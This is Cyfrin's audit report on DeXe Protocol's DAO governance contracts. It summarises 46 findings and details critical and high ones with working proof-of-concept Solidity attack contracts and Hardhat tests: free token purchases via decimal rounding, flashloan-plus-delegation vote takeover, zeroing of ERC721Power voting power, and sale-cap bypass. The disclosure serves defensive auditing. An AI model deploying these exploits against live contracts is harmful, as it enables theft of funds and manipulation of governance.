DeXe Protocol Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

0kage

Dacian

November 10, 2023

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

4.1 System Architecture

DeXe Protocol provides a cluster of smart contracts that can be configured by projects to create their own governance structures. The large codebase consists of four primary layers: setup, user governance, validator governance and implementation libraries.

`PoolFactory` allows any project to create a governance pool contract that is customizable to their requirements. Each `GovPool` created is registered with the `PoolRegistry` contract and is deployed with other sister contracts, `GovSettings`, `GovUserKeeper`, `GovValidators`, all of which are responsible for creating and managing proposals, voting, delegation, token transfers and rewards. Two key proposal contracts `TokenSaleProposal` and `DistributionProposal` are deployed which can be used to facilitate token distributions. Each DAO can have its own ERC20 & ERC721 voting tokens and DAOs can specify custom voting power by implementing the `IVotingPower` interface.

4.2 Smart Contract Design

DeXe Protocol pushes the envelope of what is possible with DAOs by featuring advanced voting, reward and proposal systems and includes numerous mitigations against known attacks such as flashloan voting manipulation.

Broadly, the platform allows projects to create three types of proposals, token sale, reward distribution and governance proposals. Projects can also create special users called validators that can act as a second layer of governance that vets proposals passed by the regular voters. Settings related to voting period, quorum, rewards for creation, voting and execution can be configured by the project owners.

Additionally, DeXe supports the important feature of voting delegation. Both normal voters and treasury can delegate their votes to select users. Treasury can delegate its tokens to special users called `experts` who need to hold a non-transferable NFT token to become one. Additionally, both delegators and delegatees get rewards for voting on proposals. Proposal creators can set up specific actions, both in the event of successful and failed voting.

5 Audit Scope

Cyfrin conducted an audit of the DeXe Protocol project based on the code present in the repository commit hash f2fe12e. Contracts present in the following files/directories were included in the audit scope:

```
- contracts/core
- contracts/factory
- contracts/gov
- contracts/gov/ERC20
- contracts/gov/ERC721
- contracts/gov/ERC721/multipliers
- contracts/gov/proposals
- contracts/gov/settings
- contracts/gov/user-keeper
- contracts/gov/validators
- contracts/gov/voting
- contracts/interfaces
- contracts/interfaces/core
- contracts/interfaces/factory
- contracts/interfaces/gov
- contracts/interfaces/user
- contracts/libs/factory
- contracts/libs/gov/
- contracts/libs/gov/gov-pool
- contracts/libs/gov/gov-user-keeper
- contracts/libs/gov/gov-validators
- contracts/libs/gov/token-sale-proposal
- contracts/libs/math
- contracts/libs/price-feed
- contracts/libs/utils
- contracts/user
```

6 Executive Summary

Over the course of 32 days, the Cyfrin team conducted an audit on the DeXe Protocol smart contracts provided by DeXe. In this period, a total of 46 issues were found.

The findings consist of 3 Critical, 9 High, 14 Medium & 4 Low severity issues with the remainder being informational and gas optimizations. One of the critical issues was able to completely bypass all existing flashloan voting manipulation protections by taking advantage of DeXe's advanced delegated voting system. Another critical was able to purchase tokens for free from the token sale proposal and the remaining critical was able to completely eliminate the voting power of the `ERC721Power` nft contract.

Numerous other findings of `High` severity were able to manipulate the voting system in various ways, bypass system restrictions and cause loss of rewards. Given the number of serious findings related to the `ERC721Power` contract it is recommended the integration unit testing between `ERC721Power` & `GovPool` is significantly improved before deployment to mainnet.

The mitigation review was made more complicated as mitigations were committed to the "dev" branch that was under active development not to the separate "audit" branch. Mitigation commits were not isolated but mixed with other development and there was significant refactoring particularly in the `ERC721Power` contract; the way in which power nft voting works with the `GovPool`, `GovUserKeeper` and associated contracts has been significantly altered during the mitigation review.

Considering the number of issues identified it is statistically likely that there are more complex bugs hiding that could not be identified given the time-boxed audit engagement. Due to the continued active development, significant refactoring changes during mitigation, the number of issues found & the short turnaround time for the

mitigation fixes, it is recommended that a competitive audit be undertaken prior to deploying significant monetary capital on mainnet. Prior to a competitive audit the technical documentation should be improved as it was very sparse so we primarily relied on the source code itself and direct communication with the DeXe team.

Summary

Project Name	DeXe Protocol
Repository	DeXe-Protocol
Commit	f2fe12eeac0c...
Audit Timeline	Sep 14th - Oct 27th
Methods	Manual Review, Hardhat Testing, Static Analysis

Issues Found

Critical Risk	3
High Risk	9
Medium Risk	14
Low Risk	4
Informational	8
Gas Optimizations	8
Total Issues	46

Summary of Findings

[C-1] `TokenSaleProposal::buy` implicitly assumes that buy token has 18 decimals resulting in a potential total loss scenario for Dao Pool	Resolved
[C-2] Attacker can combine flashloan with delegated voting to decide a proposal and withdraw their tokens while the proposal is still in Locked state	Resolved
[C-3] Attacker can destroy user voting power by setting `ERC721Power::totalPower` and all existing NFTs `currentPower` to 0	Resolved
[H-1] Under-funded eth distribution proposals can be created causing claiming rewards to revert	Resolved
[H-2] Attacker can bypass token sale `maxAllocationPerUser` restriction to buy out the entire tier	Resolved
[H-3] A malicious DAO Pool can create a token sale tier without actually transferring any DAO tokens	Acknowledged
[H-4] Attacker can use delegation to bypass voting restriction to vote on proposals they are restricted from voting on	Resolved

[H-5] Delegators incorrectly receive less rewards for longer proposals with multiple delegations	Resolved
[H-6] Attacker can at anytime dramatically lower `ERC721Power::totalPower` close to 0	Resolved
[H-7] `DistributionProposal` 'for' voter rewards diluted by 'against' voters and missing rewards permanently stuck in `DistributionProposal` contract	Resolved
[H-8] `GovPool::delegateTreasury` does not verify transfer of tokens and NFTs to delegatee leading to potential voting manipulation	Acknowledged
[H-9] Static `GovUserKeeper::_nftInfo.totalPowerInTokens` used in quorum denominator can incorrectly make it impossible to reach quorum	Resolved
[M-01] Using `block.timestamp` for swap deadline offers no protection	Resolved
[M-02] Use `ERC721::_safeMint()` instead of `_mint()`	Resolved
[M-03] Using fee-on-transfer tokens to fund distribution proposals creates under-funded proposals which causes claiming rewards to revert	Resolved
[M-04] Distribution proposals simultaneously funded by both ETH and ERC20 tokens results in stuck eth	Resolved
[M-05] Lack of validations on critical Token Sale parameters can allow malicious DAO Pool creators to DOS claims by token sale participants	Resolved
[M-06] Inconsistent decimal treatment for token amounts across codebase increases security risks for users interacting with Dexe DAO contracts	Resolved
[M-07] Attacker can spam create identical proposals confusing users as to which is the real proposal to vote on	Resolved
[M-08] `GovPool::revoteDelegated()` doesn't support multiple tiers of delegation resulting in delegated votes not flowing through to the primary voter	Resolved
[M-09] Users can use delegated treasury voting power to vote on proposals that give them more delegated treasury voting power	Acknowledged
[M-10] Changing `nftMultiplier` address by executing a proposal that calls `GovPool::setNftMultiplierAddress()` can deny existing users from claiming pending nft multiplier rewards	Acknowledged
[M-11] Proposal creation uses incorrect `ERC721Power::totalPower` as nft power not updated before snapshot	Resolved
[M-12] A misbehaving validator can influence voting outcomes even after their voting power is reduced to 0	Acknowledged
[M-13] Voting to change `RewardsInfo::voteRewardsCoefficient` has an unintended side-effect of retrospectively changing voting rewards for active proposals	Acknowledged
[M-14] Proposal execution can be DOSed with return bombs when calling untrusted execution contracts	Acknowledged
[L-1] Unsafe downcast from uint256 to uint56 can silently overflow resulting in incorrect voting power for validators	Acknowledged
[L-2] Missing storage gap in `AbstractERC721Multiplier` can lead to upgrade storage slot collision	Resolved

[L-3] Use low-level `call()` to prevent gas griefing attacks when returned data not required	Acknowledged
[L-4] Small delegations prevent delegatee from receiving micropool rewards while still rewarding delegator	Acknowledged
[I-1] `GovValidators` can transfer non-transferable `GovValidatorToken` to non-validators making them validators	Resolved
[I-2] `UniswapV2Router::getAmountsOut()` based upon pool reserves allowing returned price to be manipulated via flash loan	Resolved
[I-3] Create Proposal has the exact same reward as moving a proposal to validators creating disproportionate incentives	Resolved
[I-4] Missing `address(0)` checks when assigning values to address state variables	Acknowledged
[I-5] Events are missing indexed fields	Acknowledged
[I-6] `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`	Acknowledged
[I-7] Use of deprecated library function `safeApprove()`	Resolved
[I-8] Use `safeTransfer()` instead of `transfer()` for ERC20	Resolved
[G-1] Unnecessary libraries in `CoreProperties` contract can be removed	Resolved
[G-2] Unnecessary encoding of `participationDetails` in `TokenSaleProposalCreate::_setParticipationInfo`	Resolved
[G-3] Cache array length outside of loops	Acknowledged
[G-4] State variables should be cached in stack variables rather than re-reading them from storage	Acknowledged
[G-5] Use unchecked block to increment loop counter when overflow impossible	Acknowledged
[G-6] Don't initialize variables with default value	Acknowledged
[G-7] Functions not used internally could be marked external	Resolved
[G-8] Using bools for storage incurs overhead	Acknowledged

7 Findings

7.1 Critical Risk

7.1.1 `TokenSaleProposal::buy` implicitly assumes that buy token has 18 decimals resulting in a potential total loss scenario for Dao Pool

Description: `TokenSaleProposalBuy::buy` is called by users looking to buy the DAO token using a pre-approved token. The exchange rate for this sale is pre-assigned for the specific tier. This function internally calls `TokenSaleProposalBuy::_purchaseWithCommission` to transfer funds from the buyer to the gov pool. Part of the transferred funds are used to pay the DexeDAO commission and balance funds are transferred to the `GovPool` address. To do this, `TokenSaleProposalBuy::_sendFunds` is called.

```
    function _sendFunds(address token, address to, uint256 amount) internal {
        if (token == ETHEREUM_ADDRESS) {
            (bool success, ) = to.call{value: amount}("");
            require(success, "TSP: failed to transfer ether");
        } else {
>>          IERC20(token).safeTransferFrom(msg.sender, to, amount.from18(token.decimals())); //@audit
↪   -> amount is assumed to be 18 decimals
        }
    }
```

Note that this function assumes that the `amount` of ERC20 token is always 18 decimals. The `DecimalsConverter::from18` function converts from a base decimal (18) to token decimals. Note that the amount is directly passed by the buyer and there is no prior normalisation done to ensure the token decimals are converted to 18 decimals before the `_sendFunds` is called.

Impact: It is easy to see that for tokens with smaller decimals, eg. USDC with 6 decimals, will cause a total loss to the DAO. In such cases amount is presumed to be 18 decimals & on converting to token decimals(6), this number can round down to 0.

Proof of Concept:

- Tier 1 allows users to buy DAO token at exchange rate, 1 DAO token = 1 USDC.
- User intends to buy 1000 Dao Tokens and calls `TokenSaleProposal::buy` with 'buy(1, USDC, 1000*10**6)
- Dexe DAO Comission is assumed 0% for simplicity- > `sendFunds` is called with `sendFunds(USDC, govPool, 1000* 10**6)`
- `DecimalConverter::from18` function is called on amount with base decimals 18, destination decimals 6: `from18(1000*10**6, 18, 6)`
- this gives `1000*10**6/10*(18-6) = 1000/ 10**6` which rounds to 0

Buyer can claim 1000 DAO tokens for free. This is a total loss to the DAO.

Add PoC to `TokenSaleProposal.test.js`:

First add a new line around L76 to add new `purchaseToken3`:

```
    let purchaseToken3;
```

Then add a new line around L528:

```
    purchaseToken3 = await ERC20Mock.new("PurchaseMockedToken3", "PMT3", 6);
```

Then add a new tier around L712:

```
    {
      metadata: {
        name: "tier 9",
        description: "the ninth tier",
      },
      totalTokenProvided: wei(1000),
      saleStartTime: timeNow.toString(),
      saleEndTime: (timeNow + 10000).toString(),
      claimLockDuration: "0",
      saleTokenAddress: saleToken.address,
      purchaseTokenAddresses: [purchaseToken3.address],
      exchangeRates: [PRECISION.times(1).toFixed()],
      minAllocationPerUser: 0,
      maxAllocationPerUser: 0,
      vestingSettings: {
        vestingPercentage: "0",
        vestingDuration: "0",
        cliffPeriod: "0",
        unlockStep: "0",
      },
      participationDetails: [],
    },
```

Then add the test itself under the section `describe("if added to whitelist", () => {`:

```
      it("audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO",
      ↪  async () => {
        await purchaseToken3.approve(tsp.address, wei(1000));

        // tier9 has the following parameters:
        // totalTokenProvided   : wei(1000)
        // minAllocationPerUser : 0 (no min)
        // maxAllocationPerUser : 0 (no max)
        // exchangeRate         : 1 sale token for every 1 purchaseToken
        //
        // purchaseToken3 has 6 decimal places
        //
        // mint purchase tokens to owner 1000 in 6 decimal places
        //                         1000 000000
        let buyerInitTokens6Dec = 1000000000;

        await purchaseToken3.mint(OWNER, buyerInitTokens6Dec);
        await purchaseToken3.approve(tsp.address, buyerInitTokens6Dec, { from: OWNER });

        //
        // start: buyer has bought no tokens
        let TIER9 = 9;
        let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER,
        ↪  [TIER9]))[0].purchaseView;
        assert.equal(purchaseView.claimTotalAmount, wei(0));

        // buyer attempts to purchase using 100 purchaseToken3 tokens
        // purchaseToken3 has 6 decimals but all inputs to Dexe should be in
        // 18 decimals, so buyer formats input amount to 18 decimals
        // doing this first to verify it works correctly
        let buyInput18Dec = wei("100");
        await tsp.buy(TIER9, purchaseToken3.address, buyInput18Dec);

        // buyer has bought wei(100) sale tokens
        purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
```

```
        assert.equal(purchaseView.claimTotalAmount, buyInput18Dec);

        // buyer has 900 000000 remaining purchaseToken3 tokens
        assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

        // next buyer attempts to purchase using 100 purchaseToken3 tokens
        // but sends input formatted into native 6 decimals
        // sends 6 decimal input: 100 000000
        let buyInput6Dec = 100000000;
        await tsp.buy(TIER9, purchaseToken3.address, buyInput6Dec);

        // buyer has bought an additional 100000000 sale tokens
        purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;
        assert.equal(purchaseView.claimTotalAmount, "100000000000100000000");

        // but the buyer still has 900 000000 remaining purchasetoken3 tokens
        assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");

        // by sending the input amount formatted to 6 decimal places,
        // the buyer was able to buy small amounts of the token being sold
        // for free!
    });
```

Finally run the test with: `npx hardhat test --grep "audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO"`

Recommended Mitigation: There are at least 2 options for mitigating this issue:

Option 1 - revise the design decision that all token amounts must be sent in 18 decimals even if the underlying token decimals are not 18, to instead that all token amounts should be sent in their native decimals and Dexe will convert everything.

Option 2 - keep current design but revert if `amount.from18(token.decimals()) == 0` in L90 or alternatively use the `from18Safe()` function which uses `_convertSafe()` that reverts if the conversion is 0.

The project team should also examine other areas where the same pattern occurs which may have the same vulnerability and where it may be required to revert if the conversion returns 0:

- `GovUserKeeper` L92, L116, L183
- `GovPool` L248
- `TokenSaleProposalWhitelist` L50
- `ERC721Power` L113, L139
- `TokenBalance` L35, L62

Dexe: Fixed in commit c700d9f.

Cyfrin: Verified. While other places have been changed, `TokenBalance::sendFunds()` still uses `from18()` instead of `from18Safe()` & other parts of the codebase which allow user input when calling `TokenBalance::sendFunds()` directly could be impacted by a similar issue.

For example `TokenSaleProposalWhitelist::unlockParticipationTokens()` - if users try to unlock a small enough amount of locked tokens which are in 6 decimal precision, state will be updated as if the unlock was successful but the resulting conversion in `TokenBalance::sendFunds()` will round down to 0. Execution will continue & zero tokens will be transferred to the user but since storage has been updated those tokens will remain forever locked.

Dexe should carefully consider if there exists any valid situations where the `from18()` conversion in `TokenBalance::sendFunds()` should round an input > 0 to 0, and the transaction should not revert but continue executing transferring 0 tokens? Cyfrin recommends that the "default" conversion to use is `from18Safe()` and that `from18()` should only be used where conversions to 0 are explicitly allowed.

7.1.2 Attacker can combine flashloan with delegated voting to decide a proposal and withdraw their tokens while the proposal is still in Locked state

Description: Attacker can combine a flashloan with delegated voting to bypass the existing flashloan mitigations, allowing the attacker to decide a proposal & withdraw their tokens while the proposal is still in the Locked state. The entire attack can be performed in 1 transaction via an attack contract.

Impact: Attacker can bypass existing flashloan mitigations to decide the outcome of proposals by combining flashloan with delegated voting.

Proof of Concept: Add the attack contract to `mock/utils/FlashDelegationVoteAttack.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "../../interfaces/gov/IGovPool.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract FlashDelegationVoteAttack {
    //
    // how the attack contract works:
    //
    // 1) use flashloan to acquire large amount of voting tokens
    //    (caller transfer tokens to contract before calling to simplify PoC)
    // 2) deposit voting tokens into GovPool
    // 3) delegate voting power to slave contract
    // 4) slave contract votes with delegated power
    // 5) proposal immediately reaches quorum and moves into Locked state
    // 6) undelegate voting power from slave contract
    //    since undelegation works while Proposal is in locked state
    // 7) withdraw voting tokens from GovPool while proposal still in Locked state
    // 8) all in 1 txn
    //

    function attack(address govPoolAddress, address tokenAddress, uint256 proposalId) external {
        // verify that the attack contract contains the voting tokens
        IERC20 votingToken = IERC20(tokenAddress);

        uint256 votingPower = votingToken.balanceOf(address(this));
        require(votingPower > 0, "AttackContract: need to send tokens first");

        // create the slave contract that this contract will delegate to which
        // will do the actual vote
        FlashDelegationVoteAttackSlave slave = new FlashDelegationVoteAttackSlave();

        // deposit our tokens with govpool
        IGovPool govPool = IGovPool(govPoolAddress);

        // approval first
        (, address userKeeperAddress, , , ) = govPool.getHelperContracts();
        votingToken.approve(userKeeperAddress, votingPower);

        // then actual deposit
        govPool.deposit(address(this), votingPower, new uint256[](0));

        // verify attack contract has no tokens
        require(
            votingToken.balanceOf(address(this)) == 0,
            "AttackContract: balance should be 0 after depositing tokens"
        );
```

```
        // delegate our voting power to the slave
        govPool.delegate(address(slave), votingPower, new uint256[](0));

        // slave does the actual vote
        slave.vote(govPool, proposalId);

        // verify proposal now in Locked state as quorum was reached
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal didnt move to Locked state after vote"
        );

        // undelegate our voting power from the slave
        govPool.undelegate(address(slave), votingPower, new uint256[](0));

        // withdraw our tokens
        govPool.withdraw(address(this), votingPower, new uint256[](0));

        // verify attack contract has withdrawn all tokens used in the delegated vote
        require(
            votingToken.balanceOf(address(this)) == votingPower,
            "AttackContract: balance should be full after withdrawing"
        );

        // verify proposal still in the Locked state
        require(
            govPool.getProposalState(proposalId) == IGovPool.ProposalState.Locked,
            "AttackContract: proposal should still be in Locked state after withdrawing tokens"
        );

        // attack contract can now repay flash loan
    }
}

contract FlashDelegationVoteAttackSlave {
    function vote(IGovPool govPool, uint256 proposalId) external {
        // slave has no voting power so votes 0, this will automatically
        // use the delegated voting power
        govPool.vote(proposalId, true, 0, new uint256[](0));
    }
}
```

Add the unit test to `GovPool.test.js` under `describe("getProposalState()", () => {`:

```
it("audit attacker combine flash loan with delegation to decide vote then immediately withdraw
↪  loaned tokens by undelegating", async () => {
  await changeInternalSettings(false);

  // setup the proposal
  let proposalId = 2;
  await govPool.createProposal(
    "example.com",
    [[govPool.address, 0, getBytesGovVote(proposalId, wei("100"), [], true)]],
    [[govPool.address, 0, getBytesGovVote(proposalId, wei("100"), [], false)]]
  );

  assert.equal(await govPool.getProposalState(proposalId), ProposalState.Voting);

  // setup the attack contract
  const AttackContractMock = artifacts.require("FlashDelegationVoteAttack");
  let attackContract = await AttackContractMock.new();

  // give SECOND's tokens to the attack contract
  let voteAmt = wei("100000000000000000000");
  await govPool.withdraw(attackContract.address, voteAmt, [], { from: SECOND });

  // execute the attack
  await attackContract.attack(govPool.address, token.address, proposalId);
});
```

Run the test with: `npx hardhat test --grep "audit attacker combine flash loan with delegation"`.

Recommended Mitigation: Consider additional defensive measures such as not allowing delegation/undelegation & deposit/withdrawal in the same block.

Dexe: Fixed in PR166.

Cyfrin: Verified.

7.1.3 Attacker can destroy user voting power by setting `ERC721Power::totalPower` and all existing NFTs `currentPower` to 0

Description: Attacker can destroy user voting power by setting `ERC721Power::totalPower` & all existing nfts' `currentPower` to 0 via a permission-less attack contract by exploiting a discrepancy ("<" vs "<=") in `ERC721Power` L144 & L172:

```
function recalculateNftPower(uint256 tokenId) public override returns (uint256 newPower) {
    // @audit execution allowed to continue when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp < powerCalcStartTimestamp) {
        return 0;
    }
    // @audit getNftPower() returns 0 when
    // block.timestamp == powerCalcStartTimestamp
    newPower = getNftPower(tokenId);

    NftInfo storage nftInfo = nftInfos[tokenId];

    // @audit as this is the first update since power
    // calculation has just started, totalPower will be
    // subtracted by nft's max power
    totalPower -= nftInfo.lastUpdate != 0 ? nftInfo.currentPower : getMaxPowerForNft(tokenId);
    // @audit totalPower += 0 (newPower = 0 in above line)
    totalPower += newPower;

    nftInfo.lastUpdate = uint64(block.timestamp);
    // @audit will set nft's current power to 0
    nftInfo.currentPower = newPower;
}

function getNftPower(uint256 tokenId) public view override returns (uint256) {
    // @audit execution always returns 0 when
    // block.timestamp == powerCalcStartTimestamp
    if (block.timestamp <= powerCalcStartTimestamp) {
        return 0;
```

This attack has to be run on the exact block that power calculation starts (when `block.timestamp == ERC721Power.powerCalcStartTimestamp`).

Impact: `ERC721Power::totalPower` & all existing nft's `currentPower` are set 0, negating voting using `ERC721Power` since `totalPower` is read when creating the snapshot and `GovUserKeeper::getNftsPowerInTokensBySnapshot()` will return 0 same as if the nft contract didn't exist. Can also negatively affect the ability to create proposals.

This attack is extremely devastating as the individual power of `ERC721Power` nfts can never be increased; it can only decrease over time if the required collateral is not deposited. By setting all nfts' `currentPower = 0` as soon as power calculation starts (`block.timestamp == ERC721Power.powerCalcStartTimestamp`) the `ERC721Power` contract is effectively completely bricked - there is no way to "undo" this attack unless the nft contract is replaced with a new contract.

Dexe-DAO can be created using only nfts for voting; in this case this exploit which completely bricks the voting power of all nfts means a new DAO has to be re-deployed since no one can vote as everyone's voting power has been destroyed.

Proof of Concept: Add attack contract `mock/utils/ERC721PowerAttack.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "../../gov/ERC721/ERC721Power.sol";

import "hardhat/console.sol";

contract ERC721PowerAttack {
    // this attack can decrease ERC721Power::totalPower by the the true max power of all
    // the power nfts that exist (to zero), regardless of who owns them, and sets the current
    // power of all nfts to zero, totally bricking the ERC721Power contract.
```

```
    //
    // this attack only works when block.timestamp == nftPower.powerCalcStartTimestamp
    // as it takes advantage of a difference in getNftPower() & recalculateNftPower():
    //
    // getNftPower() returns 0 when block.timestamp <= powerCalcStartTimestamp
    // recalculateNftPower returns 0 when block.timestamp < powerCalcStartTimestamp
    function attack(
        address nftPowerAddr,
        uint256 initialTotalPower,
        uint256 lastTokenId
    ) external {
        ERC721Power nftPower = ERC721Power(nftPowerAddr);

        // verify attack starts on the correct block
        require(
            block.timestamp == nftPower.powerCalcStartTimestamp(),
            "ERC721PowerAttack: attack requires block.timestamp == nftPower.powerCalcStartTimestamp"
        );

        // verify totalPower() correct at starting block
        require(
            nftPower.totalPower() == initialTotalPower,
            "ERC721PowerAttack: incorrect initial totalPower"
        );

        // call recalculateNftPower() for every nft, this:
        // 1) decreases ERC721Power::totalPower by that nft's max power
        // 2) sets that nft's currentPower = 0
        for (uint256 i = 1; i <= lastTokenId; ) {
            require(
                nftPower.recalculateNftPower(i) == 0,
                "ERC721PowerAttack: recalculateNftPower() should return 0 for new nft power"
            );

            unchecked {
                ++i;
            }
        }

        require(
            nftPower.totalPower() == 0,
            "ERC721PowerAttack: after attack finished totalPower should equal 0"
        );
    }
}
```

Add test harness to `ERC721Power.test.js`:

```
    describe("audit attacker can manipulate ERC721Power totalPower", () => {
      it("audit attack 1 sets ERC721Power totalPower & all nft currentPower to 0", async () => {
        // deploy the ERC721Power nft contract with:
        // max power of each nft = 100
        // power reduction 10%
        // required collateral = 100
        let maxPowerPerNft = toPercent("100");
        let requiredCollateral = wei("100");
        let powerCalcStartTime = (await getCurrentBlockTime()) + 1000;
        // hack needed to start attack contract on exact block due to hardhat
        // advancing block.timestamp in the background between function calls
        let powerCalcStartTime2 = (await getCurrentBlockTime()) + 999;
```

```
      // create power nft contract
      await deployNft(powerCalcStartTime, maxPowerPerNft, toPercent("10"), requiredCollateral);

      // ERC721Power::totalPower should be zero as no nfts yet created
      assert.equal((await nft.totalPower()).toFixed(), toPercent("0").times(1).toFixed());

      // create the attack contract
      const ERC721PowerAttack = artifacts.require("ERC721PowerAttack");
      let attackContract = await ERC721PowerAttack.new();

      // create 10 power nfts for SECOND
      await nft.safeMint(SECOND, 1);
      await nft.safeMint(SECOND, 2);
      await nft.safeMint(SECOND, 3);
      await nft.safeMint(SECOND, 4);
      await nft.safeMint(SECOND, 5);
      await nft.safeMint(SECOND, 6);
      await nft.safeMint(SECOND, 7);
      await nft.safeMint(SECOND, 8);
      await nft.safeMint(SECOND, 9);
      await nft.safeMint(SECOND, 10);

      // verify ERC721Power::totalPower has been increased by max power for all nfts
      assert.equal((await nft.totalPower()).toFixed(), maxPowerPerNft.times(10).toFixed());

      // fast forward time to the start of power calculation
      await setTime(powerCalcStartTime2);

      // launch the attack
      await attackContract.attack(nft.address, maxPowerPerNft.times(10).toFixed(), 10);
    });
  });
```

Run attack with: `npx hardhat test --grep "audit attack 1 sets ERC721Power totalPower & all nft currentPower to 0"`

Recommended Mitigation: Resolve the discrepancy between `ERC721Power` L144 & L172.

Dexe: Fixed in PR174.

Cyfrin: Verified.

7.2 High Risk

7.2.1 Under-funded eth distribution proposals can be created causing claiming rewards to revert

Description: It is possible to create under-funded eth distribution proposals as `DistributionProposal::execute()` L62-63 doesn't check whether `amount == msg.value`. If `msg.value < amount` an under-funded distribution proposal will be executed.

This opens up an attack vector where a malicious GovPool owner can provide fake incentives to users to make them vote on proposals. At the time of reward distribution, owner can simply execute a distribution proposal without sending the promised amount as reward. As a result, users end up voting for a proposal and not getting paid for it.

Impact: Users can't claim their rewards as `DistributionProposal::claim()` will revert for under-funded distribution proposals. Since anybody can create a `GovPool`, there is a potential for loss to users due to malicious intent.

Proof of Concept: Add this PoC to `test/gov/proposals/DistributionProposal.test.js` under the section `describe("claim()", () => {`:

```
    it("under-funded eth distribution proposals prevents claiming rewards", async () => {
      // use GovPool to create a proposal with 10 wei reward
      await govPool.createProposal(
        "example.com",
        [[dp.address, wei("10"), getBytesDistributionProposal(1, ETHER_ADDR, wei("10"))]],
        [],
        { from: SECOND }
      );

      // Under-fund the proposal by calling DistributionProposal::execute() with:
      // 1) token     = ether
      // 2) amount    = X
      // 3) msg.value = Y, where Y < X
      //
      // This creates an under-funded proposal breaking the subsequent claim()
      await impersonate(govPool.address);
      await dp.execute(1, ETHER_ADDR, wei("10"), { value: wei(1), from: govPool.address });

      // only 1 vote so SECOND should get the entire 10 wei reward
      await govPool.vote(1, true, 0, [1], { from: SECOND });

      // attempting to claim the reward fails as the proposal is under-funded
      await truffleAssert.reverts(dp.claim(SECOND, [1]), "Gov: failed to send eth");
    });
```

Run with `npx hardhat test --grep "under-funded eth distribution"`

Recommended Mitigation: `DistributionProposal::execute()` L62-63 should revert if `amount != msg.value` for eth funded proposals.

Dexe: Fixed in PR164.

Cyfrin: Verified.

7.2.2 Attacker can bypass token sale `maxAllocationPerUser` restriction to buy out the entire tier

Description: An attacker can bypass the token sale `maxAllocationPerUser` restriction to buy out the entire tier by doing multiple small buys under this limit.

Impact: Permanent grief for other users who are unable to buy any of the exploited tier's tokens. Depending on the total supply a buyer could take control of the majority of the tokens by scooping them all up in a token sale, preventing them being distributed as intended and having monopoly control of the market. The `maxAllocationPerUser` restriction is not working as intended and can easily be bypassed by anyone.

Proof of Concept: First add Tier 8 to `test/gov/proposals/TokenSaleProposal.test.js` L718:

```
      {
        metadata: {
          name: "tier 8",
          description: "the eighth tier",
        },
        totalTokenProvided: wei(1000),
        saleStartTime: timeNow.toString(),
        saleEndTime: (timeNow + 10000).toString(),
        claimLockDuration: "0",
        saleTokenAddress: saleToken.address,
        purchaseTokenAddresses: [purchaseToken1.address],
        exchangeRates: [PRECISION.times(4).toFixed()],
        minAllocationPerUser: wei(10),
        maxAllocationPerUser: wei(100),
        vestingSettings: {
          vestingPercentage: "0",
          vestingDuration: "0",
          cliffPeriod: "0",
          unlockStep: "0",
        },
        participationDetails: [],
      },
```

Then add the PoC to the same file under the section `describe("if added to whitelist", () => {` around L1995:

```
      it("attacker can bypass token sale maxAllocationPerUser to buy out the entire tier", async ()
      ↪  => {
        await purchaseToken1.approve(tsp.address, wei(1000));

        // tier8 has the following parameters:
        // totalTokenProvided   : wei(1000)
        // minAllocationPerUser : wei(10)
        // maxAllocationPerUser : wei(100)
        // exchangeRate         : 4 sale tokens for every 1 purchaseToken
        //
        // one user should at most be able to buy wei(100),
        // or 10% of the total tier.
        //
        // any user can bypass this limit by doing multiple
        // smaller buys to buy the entire tier.
        //
        // start: user has bought no tokens
        let TIER8 = 8;
        let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER,
        ↪  [TIER8]))[0].purchaseView;
        assert.equal(purchaseView.claimTotalAmount, wei(0));

        // if the user tries to buy it all in one txn,
        // maxAllocationPerUser is enforced and the txn reverts
        await truffleAssert.reverts(tsp.buy(TIER8, purchaseToken1.address, wei(250)), "TSP: wrong
        ↪  allocation");

        // but user can do multiple smaller buys to get around the
        // maxAllocationPerUser check which only checks each
        // txn individually, doesn't factor in the total amount
        // user has already bought
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
```

```
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));
        await tsp.buy(TIER8, purchaseToken1.address, wei(25));

        // end: user has bought wei(1000) tokens - the entire tier!
        purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
        assert.equal(purchaseView.claimTotalAmount, wei(1000));

        // attempting to buy more fails as the entire tier
        // has been bought by the single user
        await truffleAssert.reverts(
          tsp.buy(TIER8, purchaseToken1.address, wei(25)),
          "TSP: insufficient sale token amount"
        );
      });
```

